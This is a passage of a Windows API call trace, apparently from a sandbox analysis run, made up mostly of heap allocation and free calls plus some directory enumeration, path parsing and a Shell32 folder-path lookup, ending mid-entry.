RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35ee8 [0111.398] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35f10 [0111.398] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a3f0b0 [0111.398] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a3f088 [0111.398] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a3f060 [0111.398] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a3f2b8 [0111.399] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a3f2e0 [0111.399] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a3f308 [0111.399] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a3f330 [0111.399] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a3f358 [0111.399] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a3f380 [0111.399] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a3f3a8 [0111.399] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a3f3d0 [0111.399] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af10 [0111.399] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7ac0908 [0111.399] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7ac0940 [0111.399] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7ac0978 [0111.399] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35fd8 | out: hHeap=0x5010000) returned 1 [0111.399] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35fb0 | out: hHeap=0x5010000) returned 1 [0111.399] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f88 | out: hHeap=0x5010000) returned 1 [0111.399] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35f60 | out: hHeap=0x5010000) returned 1 [0111.399] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35d08 | out: hHeap=0x5010000) returned 1 [0111.399] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35d58 | out: hHeap=0x5010000) returned 1 [0111.399] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e70 | out: hHeap=0x5010000) returned 1 [0111.399] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f0d8 | out: hHeap=0x5010000) returned 1 [0111.399] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f100 | out: hHeap=0x5010000) returned 1 [0111.399] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f128 | out: hHeap=0x5010000) returned 1 [0111.399] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f150 | out: hHeap=0x5010000) returned 1 [0111.399] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f178 | out: hHeap=0x5010000) returned 1 [0111.399] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f1a0 | out: hHeap=0x5010000) returned 1 [0111.399] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f1c8 | out: hHeap=0x5010000) returned 1 [0111.399] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f1f0 | out: hHeap=0x5010000) returned 1 [0111.399] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f218 | out: hHeap=0x5010000) returned 1 [0111.399] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f240 | out: hHeap=0x5010000) returned 1 [0111.399] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f268 | out: hHeap=0x5010000) returned 1 [0111.399] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f290 | out: hHeap=0x5010000) returned 1 [0111.399] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a36000 | out: hHeap=0x5010000) returned 1 [0111.399] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a36028 | out: hHeap=0x5010000) returned 1 [0111.400] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e98 | out: hHeap=0x5010000) returned 1 [0111.400] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c68 | out: hHeap=0x5010000) returned 1 [0111.400] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c40 | out: hHeap=0x5010000) returned 1 [0111.400] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1afe8 | out: hHeap=0x5010000) returned 1 [0111.400] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0111.400] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05ef0 | out: hHeap=0x5010000) returned 1 [0111.400] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05f28 | out: hHeap=0x5010000) returned 1 [0111.400] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14b28 | out: hHeap=0x5010000) returned 1 [0111.400] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05f28 [0111.400] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05dd8 | out: hHeap=0x5010000) returned 1 [0111.400] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05eb8 | out: hHeap=0x5010000) returned 1 [0111.400] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0111.400] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.400] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0111.400] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0111.400] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.400] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c40 [0111.400] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.400] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.400] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c40 | out: hHeap=0x5010000) returned 1 [0111.400] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c40 [0111.400] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.400] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.400] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c40 | out: hHeap=0x5010000) returned 1 [0111.400] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c40 [0111.400] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.400] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.400] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c40 | out: hHeap=0x5010000) returned 1 [0111.400] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c40 [0111.400] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.401] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.401] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c40 | out: hHeap=0x5010000) returned 1 [0111.401] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c40 [0111.401] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.401] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.401] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c40 | out: hHeap=0x5010000) returned 1 [0111.401] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c40 [0111.401] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.401] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.401] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c40 | out: hHeap=0x5010000) returned 1 [0111.401] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c40 [0111.401] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.401] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.401] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.401] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.401] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c40 | out: hHeap=0x5010000) returned 1 [0111.401] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c40 [0111.401] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.401] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.401] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c40 | out: hHeap=0x5010000) returned 1 [0111.401] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c40 [0111.401] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.401] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.401] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c40 | out: hHeap=0x5010000) returned 1 [0111.401] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c40 [0111.401] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.401] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.401] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c40 | out: hHeap=0x5010000) returned 1 [0111.401] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c40 [0111.401] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.401] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.401] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c40 | out: hHeap=0x5010000) returned 1 [0111.402] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c40 [0111.402] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.402] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.402] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c40 | out: hHeap=0x5010000) returned 1 [0111.402] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35bc8 | out: hHeap=0x5010000) returned 1 [0111.402] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0111.402] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c18 | out: hHeap=0x5010000) returned 1 [0111.402] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35b50 | out: hHeap=0x5010000) returned 1 [0111.402] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.402] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35d80 | out: hHeap=0x5010000) returned 1 [0111.402] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35da8 | out: hHeap=0x5010000) returned 1 [0111.402] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e10 | out: hHeap=0x5010000) returned 1 [0111.402] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e48 | out: hHeap=0x5010000) returned 1 [0111.402] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.402] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.402] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1aec8 | out: hHeap=0x5010000) returned 1 [0111.402] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.402] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.402] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35c90 | out: hHeap=0x5010000) returned 1 [0111.402] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a5d550 | out: hHeap=0x5010000) returned 1 [0111.402] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.402] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.402] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.402] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.402] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.402] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.402] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.402] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.402] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.402] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.402] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.402] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.403] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.403] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.403] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.403] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.403] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.403] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.403] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.403] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.403] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.403] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.403] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.403] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.403] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.403] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.403] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.403] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.403] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.403] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.403] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.403] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.403] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.403] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.403] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.403] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.403] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.403] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.403] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.403] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.403] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.403] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.404] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.404] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.404] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.404] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.404] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.404] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.404] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.404] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.404] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.404] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.404] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.404] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.404] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.404] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.404] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.404] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.404] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.404] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.404] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.404] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.404] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.404] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.404] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.404] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.404] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.404] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.404] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.404] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.404] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.404] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.404] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.404] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.405] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.405] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.405] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.405] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.405] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.405] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.405] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.405] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.405] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.405] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.405] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.405] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.405] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.405] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.405] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.405] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.405] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.405] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.405] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.405] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.405] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.405] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.405] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.405] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.405] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.405] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.405] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.405] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e48 | out: hHeap=0x5010000) returned 1 [0111.405] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.405] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.408] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.408] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.408] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.408] PathFindFileNameW (pszPath="C:\\Boot\\cs-CZ\\") returned="cs-CZ\\" [0111.408] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.408] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.408] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.408] PathFindFileNameW (pszPath="") returned="" [0111.408] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.408] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.409] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.409] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x800) returned 0x7b13900 [0111.409] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.409] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, 